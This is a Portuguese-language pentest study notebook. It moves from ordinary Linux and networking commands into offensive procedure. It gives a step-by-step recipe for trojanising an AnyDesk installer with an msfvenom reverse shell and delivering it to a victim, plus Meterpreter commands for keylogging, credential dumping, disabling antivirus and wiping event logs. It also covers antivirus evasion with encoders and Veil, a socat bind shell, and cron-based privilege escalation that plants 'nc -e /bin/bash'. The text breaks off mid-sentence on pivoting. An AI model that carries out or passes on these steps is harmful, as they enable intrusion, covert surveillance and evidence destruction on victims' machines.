===================Linux
conhecimentos======================================================================
===================================================================================
===================================================================================
==================================
/bin – contem aplicações (binários) comuns a todos usuários
/boot – arquivos de inicialização, kernel, gerenciador GRUB
/dev – possui diversas referências aos dispositivos periféricos
/etc – arquivos de configuração do sistema e serviços
/home – diretórios e arquivos dos usuários do sistema
/lib – arquivos de biblioteca comuns as aplicações e usuários
/mnt – diretório para montagem de sistemas externos
/opt – geralmente contem softwares de terceiros
/proc – sistema de arquivos virtual com informações de recursos
/root – diretório padrão do usuário root (superusuário)
/sbin – programas usados pelo sistema e pelo administrador
/tmp – espaço temporário para uso do sistema e aplicações
/usr – bibliotecas, documentações, aplicações relacionadas a usuários
/var – armazenamento variável de logs, e-mails, bancos de dados, web
===================================================================================
===================================================================================
===========
Mudando icone da linha de comando do kali
primeiro sed -i 's/prompt_symbol=㉿/prompt_symbol=/' ~/.zshrc
segundo source ~/.zshrc
===================================================================================
===================================================================================
========
Maneira de criar um usuario no sistema de forma mais controlada para
gerenciar usuario
adduser:adiciona um novo usuario no linux
/etc/passwd/: contem todos arquivos de usuarios do linux
deluser:deleta user
useradd -d (diretório qual vai a passar o usuario opt/nome de user) -s (shell
podendo ser bin/bash ou bin/false
podendo ser outra uma falsa também + o nome de usuario.para acessar o o usuario del
para definir senha do usuario que criou:passwd + usuario
para escalar o privilégio desse "user" volte para o root# e use o seguintes
comandos..
adduser + usuario + grupo de usuario exemplo sudo(sudo é um grupo de usuario)
depois pode usar o comando...
su:Para se tornar root (user administration)
Para remover sudo do user: deluser + user + group sudo
/etc/sudoers/ destino de arquivo para modificar alterar gerenciar mudar
permissões de usuarios
se a gente for em /var/log/auth.log a gente ve tudo que fizemos no sistema ou
outros usuarios
que tentaram modificar ou alterar algo no sistema, qual quer ou for a ação que
ocorrer no sistema fica armazenado nos log
===================================================================================
===================================================================================
===================================================================================
====================================================================
Usando o ls
ls -t (Me mostra o ultimo arquivo a ser alterado)
ls -lt (Me mostra em lista pelo grupo de úsuario que alterou ou criou o arquivo)
ls -l *.txt (vai me trazer apenas arquivos de texto pode ser usado para outro tipo
de arquivo)
ls -1 (traz arquivos linha por linha)
ls -R (faz listagem de diretórios e subdiretórios)
===================================================================================
===================================================================================
===================================================================================
===================================================================================
====================
gerenciando serviços
systemctl -t service:mostra a lista de serviços que foram carregados que estão
ativos ou desativos.
systemctl status apache2: Mostra o serviço e o status.
systemctl start + serviço: para iniciar algum serviço.
systectl status:para mostrar status do service.
systemctl stop serviço: para parar o serviço.
systemctl restart:recarrega o serviço.
===================================================================================
===================================================================================
===================================================================================
====================================================================
Gerenciando processos
ps:Mostra alguns processos rodando.
ps -a:mostra o pid o id dos processos.
ps -u:mostra mais completo o uso da memoria a hora que inicio a data .
ps aux:mostra todos processos com minimos detalhes.
ps aux pipe grep ps: mostra alguns programas que ultilizam o ps
kill:serve para matar processo.
kill -9 + pid do processo: ele vai parar o processo.
top:mostra o pid o user o uso de memoria.
apt-get install htop. instala htop
htop:Ele mostra as tarefas a quanto tempo ta ligado uso de memoria.
pesquisar sobre load average.
systemctl restart:recarrega o serviço.
===================================================================================
===================================================================================
===================================================================================
====================================================================
ls: lista arquivos
pwd: me mostra em qual pasta eu estou
cd: navega entre diretórios
rm:deleta arquivos
cd .. :retorna de pastas
clear: limpa terminal
cd ~: vai para pasta home
whoami: mostra o usuario que eu sou
ls -l: memostra mais detalhes nome do arquivo e quando foi modificado o horario
ls -a: mostra arquivos ocultos
man: manual dos comands exemplo man mais o programa que deseja visualizar o manual
para sair do manual aperte q
cp: copia um arquivo
mv: renomeia arquivo no linux ele n renomeia ele move arquivos
cat: visualiza o que tem dentro de um carquivo
more: visualiza o arquivo apertando enter para descer
less:visualiza o arquivo podendo usar a seta para cima ou para baixo
tail:visualiza só o final do arquivo
touch: cria um arquivo em branco
nano:aditor de texto
./ :para executar um arquivo
mkdir:cria diretório
rm -r: apaga diretório
===================================================================================
===================================================================================
===================================================================================
===================================================================================
=======================================================================
Usuarios e permissões
adduser + nome de usuario que deseja: cria usuario
permissões
r = read
w = write
d = directory
x = execute
1 - usuario dono do grupo
2 - grupo dono do arquivo
3 - todos usuario
exemplo: -RWX -RX- RX- :permissaõ equivalente 755
dono grupo outros usuario
numeros equivalentes
r = 4
w = 2
x = 1
quero modificar quem é o dono do arquivo
chown + usuario:grupo + o arquivo que deseja dar a tal determinado usuario
chmod 777: permissão maxima para o arquivo
chmod 000: tira todas permissões
chmod 400: da só permissão de leitura para o root
===================================================================================
===================================================================================
===================================================================================
===================================================================================
=====
>: Para salvar a saida do arquivo em determinado diretório
<: Para ser entrada de um arquivo
>>:incrementa no arquivo e não apaga e sim acrescenta o que escreveu em uma linha
abaixo
===================================================================================
===================================================================================
===================================================================================
====================================================================
ifconfig: visualiza interface de rede
&: usa 2 comandos ao mesmo tempo
&&:termina um comando e depois executa outro
route: vê nosso gateway nossa rota
free: mostra status do sistema
free -m :mostra status em megabytes
=================================================================================
Gerenciamento de pacotes
apt:é o gerenciador de pacote kali e ubunto são baseados no Debian
apt-get update: atualiza os pacotes
apt-get remove: remove pacote
apt-get upgrade:atualiza o kali a distribuição
===================================================================================
===================================================================================
===================================================================================
===================================================================================
=====
ganhando tempo com o grep,awk,cut,sed
grep:permite combinar padrão consegue fazer um filtro do que vc quer procurar no
arquivo
egrep:maneira mais pratica de injetar comando com apenas um | para o comando não
ser tão grande
exemplo egrep -v(que não contem na linha) "var/www/html|bin/bash" + arquivo que
deseja que não
liste tais palavras.
awk:awk -F(fild o campo que quero dividir) '{print $1}' me traz a primeira coluna +
arquivo
cut:cut -d(demilitador): -f1 (colunas)
sed:use para substituir em um arquivo que errou em uma determinado espaço e coluna
sed 's/+ palavra que queira corrigir + arquivo
===================================================================================
===================================================================================
===================================================================================
=======================================================================
Reconhecimento
*Shodan
hostname:busca no site especificado
os:busca por sitema operacional
port:busca por porta
ip:busca por ip
net:busca por rede
country:busca por pais
city:busca por cidade
geo:busca por geolocalização
org:busca por organização
"" busca por algum termo.
=======================================
wafw00f + site ou ip para verificar se a aplicação possui firewall
gobuster dir -u + alvo -w + wordlist -v verbose x- (php, filtro de pesquisa) -e
trás toda a saida
whois
host
nslookup
dig
dnsenum
dnsrecon
fierce
telnet
netcat
openssl s_clint -quiet -connect +www.site ou ip:443
whatweb -a 3(agrssive mode) | sed 's/, /\n/g'
banner grabing
nc -nv + domain + porta
Testando requisições e métodos
curl + site: uso com http ele traz a pagina em código HTML traz o código fonte
curl -v + site: traz mais detalahado.
curl --head + site: traz o HEADER do site.
curl --head -s + site: me traz em modo silent menos barulheno.
curl -v -H "user-agent:" + site:para mudar o user agent
curl -X para testar métodos
===================================================================================
==
Criando requisições.
printf "HEAD /HTTP/1.1/r/n/r/n" | nc + ip ou site + porta não esquece de usar
/r/n/r/n 4 vezes
echo -e "HEAD /HTTP/1.1/r/n/r/n" | nc + ip ou site + porta não esquece de usar
/r/n/r/n 4 vezes
Mirror website
wget -m + dominio
caso tenha um arquivo robots.txt e ele bloqueia o clonning do website
você pode tentar de outra forma.
wget -m -e robots=OFF + dominio
===================================================================================
===================================================================================
===================================================================================
===========================================
rede e varredura(scanning)
NFC (Near Field Communication ou Comunicação de campo próximo)
BAN (Body Area Network ou Rede de área corporal)
PAN (Personal Area Network ou Rede de área pessoal)
WPAN (Wireless Personal Area Network ou Rede de área pessoal sem fio)
NAN (Near-me Area Network ou Rede de área próxima a mim)
LAN (Local Area Network ou Rede local)
WLAN (Wireless Local Area Network ou Rede local sem fio)
HAN (Home Area Network ou Rede caseira)
SAN (Storage Area Network ou Rede de armazenamento)
CAN (Campus Area Network ou Rede de campo ou rede de campus)
MAN (Metropolitan Area Network ou Rede metropolitana)
WAN (Wide Area Network ou Rede de longo alcance)
GAN (Global Area Network ou Internet)
IAN (Internet Area Network ou Rede de área de Internet)
Rede interplanetária
===================================================================================
===================================================================================
===================================================================================
============================================================
Alterando ip
acessando o arquivo etc/network/interfaces ao abrir só possui a entrada de loopbeck
podemos criar um
#auto eth0 inet dhcp: Para definir um endereço fixo
service networking restart: Para restarta o serviço de rede.
Se não funcionar o comando a cima após ser executado!
use /etc/init.d/networking restart
agora para definir um ip estatico
#auto eth0 inet static
address + ip
netmask 255.255.255.0
gateway + ip do meu roteador
Podemos mudar o ip da nossa maquina ifconfig eth0 + ip que deseja) netmask
255.255.255.0
route:mostra info do router
route -n:mostra info do ip do gateway
route del defaut: apaga o gateway padrão ou seja ficamos sem internet por que
perdemos a rota.
route add default gw +(endereço do roteador): voltamos a ter conexão na internet
dhclient eth0:Quando vc estiver em uma rede com dhcp pode usar esse comando para
tentar pegar
um endereço ip automaticamente
=======================================SOCAT=======================================
===================================================================================
===================================================================================
===================================================================================
==========================
socat - tcp4-listen:2222:Vai abrir uma porta tcp e escutar
socat - tcp4-listen:2222:Vai abrir uma porta udp e escutar
socat - tcp4:ip:2222:para se conectar aquela porta
socat tcp4-listen:2222 EXEC:/bin/bash : para mandar o bin/bash para maquina se
conectar
pode se conectar com o protocolo udp usando udp4-listen:porta
====================================TCPDUMP========================================
===================================================================================
===================================================================================
===================================================================================
=====================
tcpdump -v(verbose) -i(interface de rede) -w(salva em um arquivo em .pcap) -n(dumpa
mostra o ip na tela )
-r (para ler arquivo exemplo file.pcap) -e(traz dethales na tela do ethernet) -
A(traz em código ascii) pode filtrar por icmp,tcp,udp,icmp
host + ip indica qual maquina a gente quer ver,ele vai trazer tudo relacionado a
esse ip.
src host + ip ele vai trazer tudo relacionado a esse ip na origem.
dst host + ip ele vai trazer tudo relacionado a esse ip com destino.
src host + ip and dst + ip traz da origem o ip até o ip de destino.
port 53 ou qualquer vai analisar sómente o trafego pela porta que passou.
-X para trazer em hexadecimal
-e para ver o que tá acontecendo
podemos também interagir com outros protocolos como fpt,ssh,telnet
======================================NETSTAT======================================
===================================================================================
===================================================================================
===================================================================================
==============================
netstat visualisa conexão de rede para ver portas que estão em conexão no sistema
netstat -lt(listen e tcp):Mostra portas que estão abertas no sistema
netstat -lu(listen e udp):Mostra portas que estão abertas no udp
netstat -ltn(listen tcp com número de portas open):ver porta '-'kk
netstat -lntp(listen tcp com numero de portas e nome do programas): ^^
===================================================TRACEROUTE======================
===================================================================================
===================================================================================
===================================================================================
=========================================
ping -c (pacotes) -t (time to live)
traceroute + site: ele percorre todos o roteadores que o pacote está passando.
hops são saltos.
traceroute -w 1(tempo de resposta) + site:me da mais um tempo de resposta
traceroute -m (TTL)
traceroute -f:DETERMINA DE QUAL SALTO TU QUER CONTINUAR (HOPS)
traceroute -A: mostra os asn(autonomos system)
agora para testar quais tipos de pacotes são aceitos
traceroute -n: não identifica o host deixa a saida mais limpa.
traceroute -I: icmp para ver se o host aceita ICMP
traceroute -T:Para identificar se o host aceita tcp
traceroute -p: para vê se o host aceita o protocolo que vc determinar
traceroute -U: por padrão o traceroure já opera no UDP mas com esse comando ele vai
fixar na porta 53(dns)
===================================================================================
===================================================================================
===================================================================================
===================================================================================
===========================================
arping -c(pacotes) usado em rede interna para descobrir host ativos
arp-scan -l ou ip + ip/24
ping -c -t -w +ip
fping -a -g ip/24
hping3 -c -t --syn +ip
SYN – synchronize --syn
SYN-ACK – Pacote de resposta
ACK – Acknowledgement
FIN – Finalise
RST – Reset
SA – SYN/ACK porta aberta
RA – RST/ACK porta fechada
=================================================IPTABLES==========================
===================================================================================
===================================================================================
===================================================================================
===================================
iptables -nL:para vê as regras de firewall na maquina
iptables -P INPUT DROP: ela muda a politica para dropar tudo de trafego de entrada
Para aceitar determinada porta
iptablees -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -F:zera todas regras elas são resetadas
iptables -A INPUT -p icmp -j ACCEPT: aceita entrada de ICMP
iptables -A INPUT -p tcp --dport 80 -s (ip) -j ACCEPT no caso sómente esse ip
conseguiria acessar a porta 80
iptables -A INPUT -p icmp --icmp-type 8 : isso significa que o tipo de entrada icmp
que vai ser aceitada é o echo request
iptables -A INPUT -p udp -j ACCEPT : vai permitir tudo que é entada udp
=========================================NMAP E
SCRIPTS============================================================================
===========================================================================
Aprofundando varreduras de rede
Para detectar dispositivos na rede, vamos descobrir os endereços ip
-sn Ping scan
-n (para não ter resolução de dns
Comandos Utilizados durante todo o módulo:
-OX para salvar em doc axml pode ver no msfconsole
para ver o doc msf > db_import /root/nmap-172.16.0.12.xml
services : Apresenta o conteúdo do arquivo .xml,
exibindo as portas e serviços do arquivo .xml que
foi importado.
-u: Indica ao services para apenas apresentar as
portas abertas do arquivo .xml.
-F (fast) faz scan nas portas mais comuns
-sn Detecção de hosts Vivos / Não faz scan em portas
-sS Syn Connect ou half open nível de detecção razoável ao tcp connect, faz meia
conexão.
-sT TCP Connect nível de detecção elevado,faz uma conexão completa.
-Sp (ex:0.0.0.0/24) - Lista de hosts e total de endereços IP.
-p Define porta
-Pn Não realiza o Ping no Alvo.
-D Utiliza endereços falsificados.
-sU Varreduras UDP.
-sF FIN Scan (Envia flag FIN,Flag de fim de conexão)
-sN NULL scan (Não Envia nenhuma Flag)
-sX (Liga todos os flag)
-f Fragmenta pacotes (Burlar firewall)
-O Detecção Sistema Operacional
-A Descobre detalhes sobre os Serviços e Sistema operacional.
-sV Versões de serviços
--open Só mostra as portas abertas
-oN Salva o resultado em um arquivo normal
--top-ports=30 (retorna saída das portas mais comuns)
-sA ax scan que permite que vc use só flags arc para burlar proteção de firewall de
tipo só permito entrada deáfego ibond.
agressividade
Bem lentos
-T0 prevenção de firewall em geral
-T1
-T2
-T3 Padrão Nmap
Bem Agressivos
-T4 Scan rápido
-T5 Scan muito barulhento
para ver script no nmap
vai até o caminho cd /usr/share/nmap/script/
para ver informações do script nmap --script-help= + script
exemplo de como usar o script
nmap + alvo + a porta que vai rodar o script + --script= + nome do script
Detectando falhas em servidores utilizando o método de saída do tipo verbose -v
nmap -sS -v -Pn -A --open --script=vuln + IP do Alvo
(Descobre a vulnerabilidade do servidor com aquele endereço de IP especificamente)
Analisando vulnerabilidades em mais endereços de IP de uma rede
nmap -sS -v -Pn -A --open --script=vuln + IP alvo/24
Descobrindo portas abertas, versões de serviços e sistema operacional que está
rodando no alvo.
nmap -v –sV -Pn -O —open + IP do alvo
(O argumento “-O” pode ser substituído pelo argumento “-A”)
Realizando pesquisas sobre alvos
nmap –script=asn-query,whois-ip,ip-geolocation-maxmind + IP do alvo
Burlando firewall
*Existem 3 maneiras diferentes de burlar um Firewall em uma rede externa:
nmap -f -sV -A + IP do alvo (Neste comando ocorre a fragmentação de pacotes que
serão enviados para se conectar ao alvo)
nmap -sS -sV -A + IP do alvo (Faz varreduras do tipo SYN na rede alvo)
nmap -Pn -sV -A + IP do alvo (Não enviar pacotes ICMP para o alvo, ou seja, não
pingar na rede)
Mandando um recado para o admin que está do outro lado da rede
nmap –sS www.alvo.com —verbose –data-string “Você está sendo ownado, admin!”
Buscando falhas de DDoS
nmap -sU -A -PN -n -pU:19,53,123,161 –script=ntp-monlist,dns-recursion,snmp-
sysdescr + IP do alvo
Fazendo brute-force no banco de dados do alvo
nmap --script=mysql-brute + IP do alvo
--Nmap scripts --open -T4 -sV para ver informações do script nmap --script-
help + script
--script banner.nse:Para captura de banners ssh/telnet/ftp/smtp/ Pega as
informações das portas
--script nfs-ls + ip: Ele vai varrer as portas e mostrar compatilhamentose os
arquivos que tem dentro(nfs:compartilhamento de pastas)
--script nfs-showmount.nfs: também mostra compartilhamentos de pastas
--script smb-enum-shares.nse: para fazer enum de compartilhamentos de pasta no
windows(smb protocol of share or directory from windows)
--script mysql-info.nse:Me traz info ele me da informação do serviço mysql.
--script smtp-enum-users.nse:script para enumerar usuarios.
--script ftp-anon.nse:vai mostrar se o servidor ftp é anonymous ou não.
--script http-php-version.nse:Mostra a versão do php.
=============================================NETCAT COM CRIPTOGRAFIA
SSL================================================================================
=====================================================
ncat -vnlp 8488: abre uma porta
vamos gerar um certificado e uma chave criptografada para criar essa comunicação
criptgrofada
openssl req -x509(gera certificado) -newkey(chave rsa podendo ser outra) rsa:2048
-keyout(saida da chave renomea o nome da chave) chave.pem -out(saida do
certificado) cert.pem
-days(quantidade de dias desse certificado) 10
ncat -nlvp 8444 --ssl-key chave.pem(passar a chave que gerou) --ssl-cert(passa o
certificado) cert.pem
vai perdir a senha que foi gerado na criação da chave e do certificado
Agora na maquina que for conectar
ncat -vn + ip + porta --ssl
para permiti conexão somente de um ip --allow + ip
===================================================================================
===================================================================================
====================================
informações ulteis de possiveis
OS
posso saber qual tipo de sistema através do ping e o traceroute através do ttl(Time
to live)
Linux 64
Windows 128
Unix 255
freebsd 64
======================================================ENUMERAÇÂO===================
===================================================================================
===================================================================================
===================================================================================
=================
Enumerando SMTP na porta25
Vamos usar o netcat para se conectar na porta 25 e interagir com o serviço
HELO: trás informação do serviço
EHLO: trás informaão do serviço
VRFY + USER(exemplo USER ROOT):Para verificar se Esses usuario existe
Bem agora vamos se conectar no serviço e enviar um e-mail.
mail from + usuario:usuario que está mandando o email dou um enter.
rcpt To:root (usuario que vai receber email) dou um enter.
DATA : depois dou um enter e posso digitar mensagem que eu quero mandar.
Para encerrar mensagem dou um ponto (.) e mais um enter.
===================================================================================
===================================================================================
===================================================================================
===================================================================================
========================================================================
Enumerando pop3 Na porta 110
Pop 3 é usado como caixa de entrada onde visualiza as mensagens que são recebidas
Vamos usar o netcat para se conectar no serviço e interagir com ele.
Podemos passar USER: and PASS:
STAT:Mostra quantidade de email
LIST:Lista as mensagens
RETR + numero: Adicione o número da mensagem que quer ler
Enumerando dispositivos de rede Telnet na porta 23
Telnet é uma interface administrativa, consegue controlar via linhas de comand
os determinados sistemas, é ultilizado em roteadore/switchs e firewall
e em equipamentos de rede.
Podemos conseguir credenciais de roteadores procurando na internet
por credenciais padão de fabrica e lendo o manual do dispositivo
uma vez autenticado no dispositivo roteador podemos dar ose
seguintes comandos.
show interfaces:Mostra todas interfaces de rede.
configure:Vai ir para o modo administrativo
===============================ENUMERANDO NETBIOS E SMB NO
LINUX==============================================================================
===================================================================================
===================================================================================
========================================= =
nbtscan -r(passa o range da rede /24) vai escania toda rede pelo protocolo Netbios
smbclient --help ver manual
smb-client -L \\+ip
smbclient -L \\+ip -N(não passar senha) -U (passar usuario exemplo administrator)
Agora para se conectar aos diretórios
smbclient //+ip/+caminho -N
smbclient -v:vê a versão do smbclient
agora para falar para o smbclient que vc quer usar uma vesão anterior
basta passar --option='client protocol min:NT1'
-w ou -W para indicar dominio
====================================RPC
CLIENT=============================================================================
===================================================================================
===================================================================================
=====================
rpcclient -U ""(null session) -N (Null session password) + ip do host
?:mostra os comandos
enumdomusers:Enumera todos usuarios que tem nesse sistema.
queryuser +nome de usuarios:para ver infomação do usuario.
netshareenum:faz enumeração nos compartilhamentos que tem
netshareenumall:faz enumeração e mostra todos os compatilhamentos que tem
querydominfo:Mostra infomação do dominio
=====================================ENUM4LINUX====================================
===================================================================================
===================================================================================
===================================================================================
=====================================
Automatizando enumeração de netbios e smb com enum4linux
enum4linux:mostra tudo que a ferramenta tem o uso
enum4linux -a(traz o maximo de infomação) -U(só informação de usuario) + ip
enum4linux -S(vai me trazer info de compartilhamento) +ip
-u:passa usuarios
-p:passa senha
Windows
1-Escalando privilégios no windows
sysinfo:mostra info de sistema.
hashdump:para mostrar credenciais de usuarios.
ps:mostra processos.
migrate:migra processo sempre migrar para o explorer.
getpid:mostra em qual processo sua shell sua maquina está.
getsystem:para elevar privilegio.
whoami:mostra qual usuario vc é se é admin ou user comum.
Para usar exploit para escalar privilegios procure por ''uac''.
exploit -z:joga para background direrto.
getuid:mostra teu usuario se é admin ou não.
?:mostra manual e informações.
===================================================================================
2-Extraindo dados
download -h: mostra opções
run clearev:apaga todos logs mas para apagar tudo apaga remotamente dentro da
maquina da vitima dentro
de ferramentas administrativas dentro de visualizador de eventos.
run killav:desabilita as regras de anti virus.
run vnc: ele compatilha a areá de trabalho.
screenshot:tira print do pc da vitima.
screenshare:compartilha tela da vitima.
keyscan_start:inicia o keylogger caputura o que é digitado.
keyscan_dump:mostra o que é digitado.
keyscan_stop:para o keylogger.
run clearave:apaga evidencias.(mas se quer apagar totalmen vai em visualisador de
eventos)
search -d c:/ -f .pdf ou txt para pesquisar diretórios(/ ou contra barra).
download -r e passa o caminho do arquivo para fazer download.
download -r c: (para fazer download do hd inteiro da vitima mas pode dar erro)
upload + nome do arquivo (para enviar arquivo para dentro da maquina da vitima tem
que estar dentro do diretório do arquivo.
===================================================================================
===========================================
3-Módulos de pós exploração
search post/windows traz diversos módulos de pós exploração.
post/windows/manage/migrate :ele migra sessão do meterpreter para outro processo
ele escolhe automaticamente.
windows/gather/checkvm: vê qual maquina tá rodando aquele sistema.
post/windows/gather/enum_share: mostra lista de compartilhamentos na maquina alvo.
post/windows/gather/enum_aplication: ele mostra as aplicações que estão rodando
instalados na maquina alvo.
post/windows/gather/dumplinks:mostra todos arquivos recentes usados pelo usuario
pode usar diréto pelo meterpreter.
search credential_collector:ele consegue trazer tantos rash como tokens da maquina
alvo.
post/windows/gather/arp_scanner:Para fazer varredura na rede da maquina alvo /24.
post/multi/recon/local_exploit_suggester:mostra os melhores exploit para escalação
de privilegios.
===================================================================================
=================================================
4-Módulos e exploits para persistência
como manter conexão mesmo com a maquina alvo desligada ou fo reiniciada.
search persistence.
post/windows/manage/persistence_exe:ejeta um payload para fazer conexão sempre que
o alvo for reiniciado.
O meterprester também tem um modo de persistencia da um run persistence -h traz as
opções e os parametros para usar o script
depois run persistence -U para se conectar novamente -L para onde quer passar o
payloadd no c: c 2 contra barra. -r meu ip.
run persistence -U -L c:\\ -x 10 -p 443 -r ip
===================================================================================
==================================================
==========================================================METASPLOIT===============
===================================================================================
===================================================================================
==================================================================================M
etasploit==========================================
Set rhosts: configura um IP em um exploit, payload e
meterpreter.
Run/exploit: Executa a ação configurada.
Help: Apresenta em tela informações, comando e exemplos de uso de um exploit,
payload, meterpreter, módulos, entre
outros.
Info: Apresenta em tela informações sobre um exploit,payload, meterpreter, módulos,
entre outros.
Show options: Apresenta opções que podem ser utilizadas
com o msfconsole.
show missing: para vê se não esqueceu de completar alguma configuração do exploit.
services:para vêr serviços de scanner que vc realizou.
vulns: para ver vulnerabilidades naqueles serviços
host: para ver dispositivos que vc fez scannner.
setg LPORTouRHOST:para configurar ip nas opções de exploit e ficar setado o seu ip
sempre que for realizar um teste.
background:vai jogar a exploração para uma sessions
sessions -h: é o comando o argumento para manipular sessões.
sessions -l: para vê sessões.
sessions -i + o número da sessão:para voltar aquela sessão.
sessions -u: tenta fazer o upgrade do shell para o meterpreter.
sessions -s: para rodar um script pode ser um de exploração ou pós exploração.
abrir portas em python3: python -m http.server 8080
=======================================================EXPLORAÇÂO==================
===================================================================================
===================================================================================
=========================================================
cd /usr/share/webshells/php/ aqui dentro contem varios arquivos que geram shell
reverse em php
Documentações importantes
etc/passwd:É o arquivo mais cobiçado por Hackers porque contém os dados pessoais do
usuário como o
login, uid, telefone e senha (caso seu sistema esteja usando senhas ocultas, a
senha terá um * no
lugar e as senhas reais estarão armazenadas no arquivo /etc/shadow ). Conhecimentos
extrás
/etc/sudoers/ destino de arquivo para modificar ou alterar gerenciar e para mudar
permissões de usuarios
var/log/auth.log:arquivos de log do sistema pode visualisar qual quer ação de
usuario ou seja qualquer ação do sistema gera um log
/etc/apache2/conf-enable/security.conf Arquivo para configurar o apache
etc/apache2/apache2.conf arquivo para configurar o index do apache
===================================================================================
===================================================================================
===================================================================================
===============================================
Bypass em Proteções. Dicas!
Em ambientes com proteções utilizem de preferência porta 443 para uma conexão
reversa,
geralmente essa porta e liberada por padrão em muitos Firewalls. Na hora de
escolher um Payload você pode optar por
"reverse_https", "reverse_winhttps" ou "reverse_https_proxy" lembrando que toda
saída do tráfego é criptografada e
pode diminuir o índice de detecção.
site para verificar se detecta virus que estão ocultos no exe =
virustotal,antiscan.me
msfvenom -l encoders me traz os encoders disponiveis para dificultar que alguma
ferramenta de detecção detecte.
lport 443 para o firewall não verificar
no msfvenom para adicionar o encoder é =-e ( + o encoder )
-i = interações exemplo 1 a 90 tu escolhe pode ser até mais.
==========================================================CRIANDO UM
BACKDOOR===========================================================================
===================================================================================
================================================================================
Criaremos um backdoor e colocaremos dentro de um executavel ou seja um binario que
é usado para instalação de um programa
e depois mandaremos para vitima para ter acesso a maquina alvo.
Vai ter alguns binarios que terão proteção.
vamos fazer download do anydesk.com.
Dentro do kali faz o download do anydesk e joga o arquivo para alguma pasta, agora
vamos criar o backdoor
e vamos usar o ultilitario (msfvenom) msfvenom - h mostra as opções, também se eu
usar msfvenom -l payload ele
me mostra ultilitarios disponiveis e consigo salvar a saida em vários formatos.
vou ultilizar o msfvenom -p windows/meterpreter/reverse_tcp lhost= ip alvo lport=
-x (arquivo que eu quero incluir o backdoor)
no caso vai ser o anydesk.exe -k exe (Para preservar o formato da carga ultil do
payload o comportamento dele)
-o anydeskinstall.exe
Feito isso msfvenom vai gerar o payload e vamos ultilizar esse arquivo como um
trojan.
Para baixar o arquivo jogue para o var/www/html e depois acessa o ip no win 7 que é
o alvo para baixar o trojan.
Depois vamos usar o multihandler no metasploit = set payload
windows/meterpreter/reverse_tcp
e vamos configurar e depois só da um exploit.
Quando o alvo acessar o trojan vai estabelecer a sessão(shell)
Mas no caso ainda não vai ter autoridade maxima do sistema, vai ter que escalar os
privilégios.
===========================================================VEIl====================
===================================================================================
===================================================================================
=================
Veil é uma ferramenta de evasão e através dela é possivel gerar um payload e
tranformar ele em .exe ele faz isso
automaticamente ele ajuda a burlar ferramentas de proteções que estão
desatualisadas.
para instalar https://github.com/Veil-Framework/Veil-Evasion
veil ls (dentro do diretorio do veil)
veil ./veil.py
ele tem 2 opçoes tanto 2ordnance e 1evasion
use 1 depois da um list e vai trazer vários payloads disponiveis tenha sempre
prefenrencia por linguagens
de script vou pegar o go/meterpreter/rev_https depois set lhost + maquina local
set lport 443 e depois um options
(vê as configurações)
generate = cria o payload e jogar para um arquivo .exe e da o nome e ele vai
compilar.
vou subir o postgre service postgresql start vou acessar o diretório que o veil da
para acessar o multihandler
agora vamos abrir no metasploit com msfconsole -r (recusrso) e nome do arquivo.exe
para sair do veil = exit
===================================================================================
===================================================================================
====================================
1-Escalando privilégios no windows
sysinfo:mostra info de sistema.
hashdump:para mostrar credênciais de usuarios.
ps:mostra processos.
migrate:migra processo sempre migrar para o explorer.
getpid:mostra em qual processo sua shell sua maquina está.
getsystem:para elevar privilegio.
whoami:mostra qual usuario vc é se é admin ou user comum.
Para usar exploit para escalar privilegios procure por ''uac''.
exploit -z:joga para background direrto.
getuid:mostra teu usuario se é admin ou não.
?:mostra manual e informações.
2-Extraindo dados
download -h: mostra opções
run clearev:apaga todos logs mas para apagar tudo apaga remotamente dentro da
maquina da vitima dentro
de ferramentas administrativas dentro de visualizador de eventos.
run killav:desabilita as regras de anti virus.
run vnc: ele compatilha a areá de trabalho.
screenshot:tira print do pc da vitima.
screenshare:compartilha tela da vitima.
keyscan_start:inicia o keylogger caputura o que é digitado.
keyscan_dump:mostra o que é digitado.
keyscan_stop:para o keylogger.
run clearave:apaga evidencias.(mas se quer apagar totalmen vai em visualisador de
eventos)
search -d c:/ -f .pdf ou txt para pesquisar diretórios(/ ou contra barra).
download -r e passa o caminho do arquivo para fazer download.
download -r c: (para fazer download do hd inteiro da vitima mas pode dar erro)
upload + nome do arquivo (para enviar arquivo para dentro da maquina da vitima tem
que estar dentro do diretório do arquivo.
===================================================================================
===================================================================================
===================================================================================
===================================================================================
==========
Escalação de privilégio Linux
Para conseguir uma shell interativa
python -c 'import pty;pty.spawn("/bin/bash")'
id:para ver usuario atual
Para ler e ver todos usuarios do sistema acesse o /etc/passwd
hostname:para saber o nome da maquina
uname -a: traz info do sistema operacional
cat /etc/issue: em sistemas ubunto, traz informação exata do sistema
cat /etc/*-release:traz também info do sistema operacional um pouco mais detalhado
dpkg -l: vai listar todos os programas instalados
ifconfig -a:para verroteadores de rede e se possui outro segmento
netstat -nltp ou -nlpu:para ver portas ativadas
cat /etc/crontab:por que o administrador as vezes configura um backup um script
find / -writable -type d 2>/dev/null/ vai pesquisar por diretórios que tenho
permissão de escrita
find / -perm -u=s -type f 2>/dev/null para pesquisar permissões de arquivos
sudo -l:mostra os programas que tem sudo
===================================================================================
======================
Enumeração de forma automatizada
linpeas
suggester
===================================================================================
=======================
Escalando privilégio abusando de permissões do sudo
sudo -l:mostra possiveis comando que tenha sudo
se tiver o vim podemos executar o vim com o sudo e é possivel ganhar root com o
vim.
vim -c '!id':veja que ele consegue passar o comando e depois entra no vim.
Sabendo disso então podemos executar o vim com sudo vim -c '!id' para fazer um
teste
se ele executou como root significa que a gente poderia executar qual quer tipo de
comando na maquina,
eu poderia dar um vim -c '!bash' e ele me daria um bash e vai me dar o root no
sistema.
===================================================================================
=======================
linux priv cron
analisa o /etc/crontab vê permissão de arquivos ou procure arquivos com permissão
777 usando:
find / -type f -perm 777 2>/dev/null
Se possuir um arquivo com permissão 777 pode usar o nano ou vim para editar e usar
o netcat para criar
uma revese shell dentro do arquivo nc -e /bin/bash + o ip da maquina atacante e
aguardar para uma cone
xão então quando o script do cron for ativado tu vai receber o root.
===================================================================================
=======================
linux priv kernel
Dentro do /var/tmp vc tem permissão para baixar arquivos
Quando for fazer download usando o wget e der erro tenta dar um --no-check-
certificate e da um enter
nunca esqueça de dar permissão para os arquivos que tu realizou download chmod +x
arquivo
===================================================================================
=======================
Pós explotation pivoting técnica de pula de um computador para outro Pensa que tu
conseguil uma shell
em um servidor e ela possui um segmento de rede tu vai varrendo esse segmento até
chegar na parte mais
profunda de um rede externa para tentar conectar em uma rede interna.
Sempre que vai fazer pivolting verifique a rede com um ifconfig ou ipconfig também
virificar o route para
